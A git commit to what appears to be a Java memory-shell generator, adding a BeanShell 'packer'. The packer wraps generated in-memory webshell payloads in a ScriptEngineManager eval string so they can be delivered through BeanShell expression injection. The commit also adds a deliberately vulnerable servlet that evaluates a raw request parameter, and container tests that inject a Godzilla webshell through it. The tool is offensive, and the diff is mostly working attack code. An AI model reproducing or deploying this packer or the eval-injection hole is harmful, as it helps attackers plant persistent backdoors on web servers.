feat: support bsh packer

This commit is contained in:
ReaJason
2025-01-30 18:09:44 +08:00
parent 1f94ca41f6
commit b9c05453ef
17 changed files with 85 additions and 36 deletions
@@ -1,9 +1,6 @@
package com.reajason.javaweb.memshell.packer; package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.Getter;
import java.util.Map;
/** /**
* @author ReaJason * @author ReaJason
@@ -4,6 +4,7 @@ import com.reajason.javaweb.memshell.packer.aviator.AviatorPacker;
import com.reajason.javaweb.memshell.packer.base64.Base64Packer; import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer; import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer; import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker;
import com.reajason.javaweb.memshell.packer.deserialize.DeserializePacker; import com.reajason.javaweb.memshell.packer.deserialize.DeserializePacker;
import com.reajason.javaweb.memshell.packer.el.ELPacker; import com.reajason.javaweb.memshell.packer.el.ELPacker;
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker; import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
@@ -72,15 +73,12 @@ public enum Packers {
* EL * EL
*/ */
EL(new ELPacker()), EL(new ELPacker()),
OGNL(new OGNLPacker()), OGNL(new OGNLPacker()),
MVEL(new MVELPacker()), MVEL(new MVELPacker()),
Aviator(new AviatorPacker()),
JXPath(new JXPathPacker()), JXPath(new JXPathPacker()),
JEXL(new JEXLPacker()), JEXL(new JEXLPacker()),
Groovy(new GroovyPacker()), BSH(new BeanShellPacker()),
Aviator(new AviatorPacker()),
Rhino(new RhinoPacker()),
JinJava(new JinJavaPacker()),
SpEL(new SpELPacker()), SpEL(new SpELPacker()),
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class), SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
@@ -88,8 +86,10 @@ public enum Packers {
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class), SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
Freemarker(new FreemarkerPacker()), Freemarker(new FreemarkerPacker()),
Velocity(new VelocityPacker()), Velocity(new VelocityPacker()),
Groovy(new GroovyPacker()),
Rhino(new RhinoPacker()),
JinJava(new JinJavaPacker()),
AgentJar(new AgentJarPacker()), AgentJar(new AgentJarPacker()),
@@ -0,0 +1,19 @@
package com.reajason.javaweb.memshell.packer.bsh;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
/**
* @author ReaJason
* @since 2025/1/30
*/
public class BeanShellPacker implements Packer {
String template = "new javax.script.ScriptEngineManager().getEngineByName(\"js\").eval(\"{{script}}\")";
@Override
public String pack(GenerateResult generateResult) {
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
return template.replace("{{script}}", script.replaceAll("\\\"", "'"));
}
}
@@ -1,9 +1,9 @@
package com.reajason.javaweb.memshell.packer.deserialize; package com.reajason.javaweb.memshell.packer.deserialize;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.deserialize.DeserializeConfig; import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.DeserializeGenerator; import com.reajason.javaweb.deserialize.DeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType; import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64; import org.apache.commons.codec.binary.Base64;
@@ -3,12 +3,6 @@ package com.reajason.javaweb.memshell.packer.freemarker;
import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers; import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/** /**
* @author ReaJason * @author ReaJason
@@ -3,11 +3,6 @@ package com.reajason.javaweb.memshell.packer.ognl;
import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers; import com.reajason.javaweb.memshell.packer.Packers;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/** /**
* @author ReaJason * @author ReaJason
@@ -3,12 +3,6 @@ package com.reajason.javaweb.memshell.packer.velocity;
import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers; import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/** /**
* @author ReaJason * @author ReaJason
@@ -152,12 +152,14 @@ public class ShellAssertionTool {
case Aviator -> VulTool.postData(url + "/aviator", content); case Aviator -> VulTool.postData(url + "/aviator", content);
case Groovy -> VulTool.postData(url + "/groovy", content); case Groovy -> VulTool.postData(url + "/groovy", content);
case Rhino -> VulTool.postData(url + "/rhino", content); case Rhino -> VulTool.postData(url + "/rhino", content);
case BSH -> VulTool.postData(url + "/bsh", content);
case JinJava -> VulTool.postData(url + "/jinjava", content); case JinJava -> VulTool.postData(url + "/jinjava", content);
case Freemarker -> VulTool.postData(url + "/freemarker", content); case Freemarker -> VulTool.postData(url + "/freemarker", content);
case Velocity -> VulTool.postData(url + "/velocity", content); case Velocity -> VulTool.postData(url + "/velocity", content);
case Deserialize -> VulTool.postData(url + "/java_deserialize", content); case Deserialize -> VulTool.postData(url + "/java_deserialize", content);
case Base64 -> VulTool.postData(url + "/b64", content); case Base64 -> VulTool.postData(url + "/b64", content);
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content); case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
default -> throw new IllegalStateException("Unexpected value: " + packer);
} }
} }
} }
@@ -49,6 +49,7 @@ public class Tomcat8ExpressionContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JEXL), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JEXL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JXPath), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JXPath),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Aviator), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Aviator),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.BSH),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Groovy), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Groovy),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Rhino), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Rhino),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JinJava), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JinJava),
@@ -60,6 +61,7 @@ public class Tomcat8ExpressionContainerTest {
@AfterAll @AfterAll
static void tearDown() { static void tearDown() {
String logs = container.getLogs(); String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
} }
+1
View File
@@ -22,6 +22,7 @@ dependencies {
implementation 'org.apache.velocity:velocity:1.7' implementation 'org.apache.velocity:velocity:1.7'
implementation 'ognl:ognl:2.7.3' implementation 'ognl:ognl:2.7.3'
implementation 'org.mvel:mvel2:2.4.7.Final' implementation 'org.mvel:mvel2:2.4.7.Final'
implementation 'org.beanshell:bsh:2.0b5'
implementation 'org.apache.commons:commons-jexl:2.1.1' implementation 'org.apache.commons:commons-jexl:2.1.1'
implementation 'org.apache.commons:commons-jexl3:3.2.1' implementation 'org.apache.commons:commons-jexl3:3.2.1'
implementation 'commons-jxpath:commons-jxpath:1.3' implementation 'commons-jxpath:commons-jxpath:1.3'
@@ -0,0 +1,26 @@
import bsh.EvalError;
import bsh.Interpreter;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/1/30
*/
public class BeanShellServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
Interpreter i = new Interpreter();
try {
Object eval = i.eval(data);
resp.getWriter().println(eval);
} catch (EvalError e) {
throw new RuntimeException(e);
}
}
}
@@ -1,4 +1,3 @@
import org.apache.commons.jexl3.JexlBuilder; import org.apache.commons.jexl3.JexlBuilder;
import org.apache.commons.jexl3.JexlEngine; import org.apache.commons.jexl3.JexlEngine;
import org.apache.commons.jexl3.JexlExpression; import org.apache.commons.jexl3.JexlExpression;
@@ -126,6 +126,15 @@
<url-pattern>/aviator</url-pattern> <url-pattern>/aviator</url-pattern>
</servlet-mapping> </servlet-mapping>
<servlet>
<servlet-name>bsh</servlet-name>
<servlet-class>BeanShellServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>bsh</servlet-name>
<url-pattern>/bsh</url-pattern>
</servlet-mapping>
<servlet> <servlet>
<servlet-name>rhino</servlet-name> <servlet-name>rhino</servlet-name>
<servlet-class>RhinoServlet</servlet-class> <servlet-class>RhinoServlet</servlet-class>
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -1,4 +1,3 @@
import org.apache.commons.jexl2.Expression;
import org.apache.commons.jexl3.*; import org.apache.commons.jexl3.*;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
File diff suppressed because one or more lines are too long